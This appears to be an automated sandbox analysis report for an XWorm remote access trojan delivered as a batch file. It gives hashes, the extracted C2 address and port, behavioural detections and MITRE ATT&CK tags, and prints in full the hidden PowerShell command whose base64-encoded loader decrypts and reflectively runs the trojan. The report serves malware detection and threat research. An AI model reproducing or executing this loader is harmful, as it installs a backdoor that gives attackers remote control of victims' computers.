xworm | 982aeaa82e848b3fa908569d594c3c683e010853aabf0b774cd017cd78f452f2

General

Target

BHmguu3.bat
Size

61KB
MD5

17593ee6efc7b77ce313f3ad23119366
SHA1

fb978403970c1022813e2a525b02c21e67bbfd47
SHA256

982aeaa82e848b3fa908569d594c3c683e010853aabf0b774cd017cd78f452f2
SHA512

ad64b462ae4b3dc3b97cc746fa4689c26020d9d7695f6741df08728dbaa207ca781e5cb9bf6457d5dbe726251c1be3ddac6720432f6d55d94644d8741bfdf85f
SSDEEP

1536:lBV+YMcw68L9UOCl0UV7foh8KbZkbmEKUgXEXzICKUnF7:lBV+YM8+9FUdohgHfB

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

C2

196.251.73.165:4782

Mutex

EXQQh6mPrqgJAFJA

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral1/memory/3008-19-0x000002293C680000-0x000002293C68E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
1	3008	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3008	powershell.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_2e4538ba.cmd	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_2e4538ba.cmd	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3008	powershell.exe
3008	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3008	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4308 wrote to memory of 492	4308	cmd.exe	82
PID 4308 wrote to memory of 492	4308	cmd.exe	82
PID 492 wrote to memory of 3008	492	cmd.exe	84
PID 492 wrote to memory of 3008	492	cmd.exe	84

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\BHmguu3.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:4308
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\BHmguu3.bat"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:492
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('JHVzZXJOYW1lID0gJGVudjpVU0VSTkFNRTskbGlxZnEgPSAiQzpcVXNlcnNcJHVzZXJOYW1lXGR3bS5iYXQiO2lmIChUZXN0LVBhdGggJGxpcWZxKSB7ICAgIFdyaXRlLUhvc3QgIkJhdGNoIGZpbGUgZm91bmQ6ICRsaXFmcSIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAkZmlsZUxpbmVzID0gW1N5c3RlbS5JTy5GaWxlXTo6UmVhZEFsbExpbmVzKCRsaXFmcSwgW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VVRGOCk7ICAgIGZvcmVhY2ggKCRsaW5lIGluICRmaWxlTGluZXMpIHsgICAgICAgIGlmICgkbGluZSAtbWF0Y2ggJ146OjogPyguKykkJykgeyAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRldGVjdGVkIGluIHRoZSBiYXRjaCBmaWxlLiIgLUZvcmVncm91bmRDb2xvciBDeWFuOyAgICAgICAgICAgIHRyeSB7ICAgICAgICAgICAgICAgICRkZWNvZGVkQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRtYXRjaGVzWzFdLlRyaW0oKSk7ICAgICAgICAgICAgICAgICRpbmplY3Rpb25Db2RlID0gW1N5c3RlbS5UZXh0LkVuY29kaW5nXTo6VW5pY29kZS5HZXRTdHJpbmcoJGRlY29kZWRCeXRlcyk7ICAgICAgICAgICAgICAgIFdyaXRlLUhvc3QgIkluamVjdGlvbiBjb2RlIGRlY29kZWQgc3VjY2Vzc2Z1bGx5LiIgLUZvcmVncm91bmRDb2xvciBHcmVlbjsgICAgICAgICAgICAgICAgV3JpdGUtSG9zdCAiRXhlY3V0aW5nIGluamVjdGlvbiBjb2RlLi4uIiAtRm9yZWdyb3VuZENvbG9yIFllbGxvdzsgICAgICAgICAgICAgICAgSW52b2tlLUV4cHJlc3Npb24gJGluamVjdGlvbkNvZGU7ICAgICAgICAgICAgICAgIGJyZWFrOyAgICAgICAgICAgIH0gY2F0Y2ggeyAgICAgICAgICAgICAgICBXcml0ZS1Ib3N0ICJFcnJvciBkdXJpbmcgZGVjb2Rpbmcgb3IgZXhlY3V0aW5nIGluamVjdGlvbiBjb2RlOiAkXyIgLUZvcmVncm91bmRDb2xvciBSZWQ7ICAgICAgICAgICAgfTsgICAgICAgIH07ICAgIH07fSBlbHNlIHsgICAgICBXcml0ZS1Ib3N0ICJTeXN0ZW0gRXJyb3I6IEJhdGNoIGZpbGUgbm90IGZvdW5kOiAkbGlxZnEiIC1Gb3JlZ3JvdW5kQ29sb3IgUmVkOyAgICBleGl0O307ZnVuY3Rpb24gcW1ia3goJHBhcmFtX3Zhcil7CSRhZXNfdmFyPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkFlc106OkNyZWF0ZSgpOwkkYWVzX3Zhci5Nb2RlPVtTeXN0ZW0uU2VjdXJpdHkuQ3J5cHRvZ3JhcGh5LkNpcGhlck1vZGVdOjpDQkM7CSRhZXNfdmFyLlBhZGRpbmc9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuUGFkZGluZ01vZGVdOjpQS0NTNzsJJGFlc192YXIuS2V5PVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ3p4OXNYRzY1eVhWTzRqR1p3Z25tc1hmaHpWZjUzNEZsem1xTURXcWFVNTQ9Jyk7CSRhZXNfdmFyLklWPVtTeXN0ZW0uQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJ0JCUmYrNXNUazVPNzROZTVCWStITWc9PScpOwkkZGVjcnlwdG9yX3Zhcj0kYWVzX3Zhci5DcmVhdGVEZWNyeXB0b3IoKTsJJHJldHVybl92YXI9JGRlY3J5cHRvcl92YXIuVHJhbnNmb3JtRmluYWxCbG9jaygkcGFyYW1fdmFyLCAwLCAkcGFyYW1fdmFyLkxlbmd0aCk7CSRkZWNyeXB0b3JfdmFyLkRpc3Bvc2UoKTsJJGFlc192YXIuRGlzcG9zZSgpOwkkcmV0dXJuX3Zhcjt9ZnVuY3Rpb24gcHRqeGQoJHBhcmFtX3Zhcil7CSRla3F1Yz1OZXctT2JqZWN0IFN5c3RlbS5JTy5NZW1vcnlTdHJlYW0oLCRwYXJhbV92YXIpOwkkd3prcHQ9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTWVtb3J5U3RyZWFtOwkkdGZndWs9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQ29tcHJlc3Npb24uR1ppcFN0cmVhbSgkZWtxdWMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsJJHRmZ3VrLkNvcHlUbygkd3prcHQpOwkkdGZndWsuRGlzcG9zZSgpOwkkZWtxdWMuRGlzcG9zZSgpOwkkd3prcHQuRGlzcG9zZSgpOwkkd3prcHQuVG9BcnJheSgpO31mdW5jdGlvbiB0dGx3ZygkcGFyYW1fdmFyLCRwYXJhbTJfdmFyKXsJJGllcGR1PVtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OignZGFvTCdbLTEuLi00XSAtam9pbiAnJykoW2J5dGVbXV0kcGFyYW1fdmFyKTsJJG5zaWlmPSRpZXBkdS5FbnRyeVBvaW50OwkkbnNpaWYuSW52b2tlKCRudWxsLCAkcGFyYW0yX3Zhcik7fSRob3N0LlVJLlJhd1VJLldpbmRvd1RpdGxlID0gJGxpcWZxOyRkZnRvcz1bU3lzdGVtLklPLkZpbGVdOjooJ3R4ZVRsbEFkYWVSJ1stMS4uLTExXSAtam9pbiAnJykoJGxpcWZxKS5TcGxpdChbRW52aXJvbm1lbnRdOjpOZXdMaW5lKTtmb3JlYWNoICgkaW5vIGluICRkZnRvcykgewlpZiAoJGluby5TdGFydHNXaXRoKCc6OiAnKSkJewkJJGdqcnhiPSRpbm8uU3Vic3RyaW5nKDMpOwkJYnJlYWs7CX19JGFqdGVkPVtzdHJpbmdbXV0kZ2pyeGIuU3BsaXQoJ1wnKTskZ2ZsYW89cHRqeGQgKHFtYmt4IChbQ29udmVydF06OkZyb21CYXNlNjRTdHJpbmcoJGFqdGVkWzBdKSkpOyRnb3h0az1wdGp4ZCAocW1ia3ggKFtDb252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygkYWp0ZWRbMV0pKSk7dHRsd2cgJGdmbGFvICRudWxsO3R0bHdnICRnb3h0ayAoLFtzdHJpbmdbXV0gKCclKicpKTs=')) | Invoke-Expression"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Drops startup file
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3008

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_niazawba.mwa.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\dwm.bat

Filesize
61KB

MD5
17593ee6efc7b77ce313f3ad23119366

SHA1
fb978403970c1022813e2a525b02c21e67bbfd47

SHA256
982aeaa82e848b3fa908569d594c3c683e010853aabf0b774cd017cd78f452f2

SHA512
ad64b462ae4b3dc3b97cc746fa4689c26020d9d7695f6741df08728dbaa207ca781e5cb9bf6457d5dbe726251c1be3ddac6720432f6d55d94644d8741bfdf85f

Download Submit
memory/3008-2-0x00007FF9E5763000-0x00007FF9E5765000-memory.dmp

Filesize
8KB

Download
memory/3008-3-0x00007FF9E5760000-0x00007FF9E6222000-memory.dmp

Filesize
10.8MB

Download
memory/3008-12-0x000002293C220000-0x000002293C242000-memory.dmp

Filesize
136KB

Download
memory/3008-13-0x00007FF9E5760000-0x00007FF9E6222000-memory.dmp

Filesize
10.8MB

Download
memory/3008-14-0x00007FF9E5760000-0x00007FF9E6222000-memory.dmp

Filesize
10.8MB

Download
memory/3008-16-0x000002293C200000-0x000002293C208000-memory.dmp

Filesize
32KB

Download
memory/3008-17-0x000002293C640000-0x000002293C64C000-memory.dmp

Filesize
48KB

Download
memory/3008-19-0x000002293C680000-0x000002293C68E000-memory.dmp

Filesize
56KB

Download
memory/3008-20-0x00007FF9E5763000-0x00007FF9E5765000-memory.dmp

Filesize
8KB

Download
memory/3008-21-0x00007FF9E5760000-0x00007FF9E6222000-memory.dmp

Filesize
10.8MB

Download

Analysis

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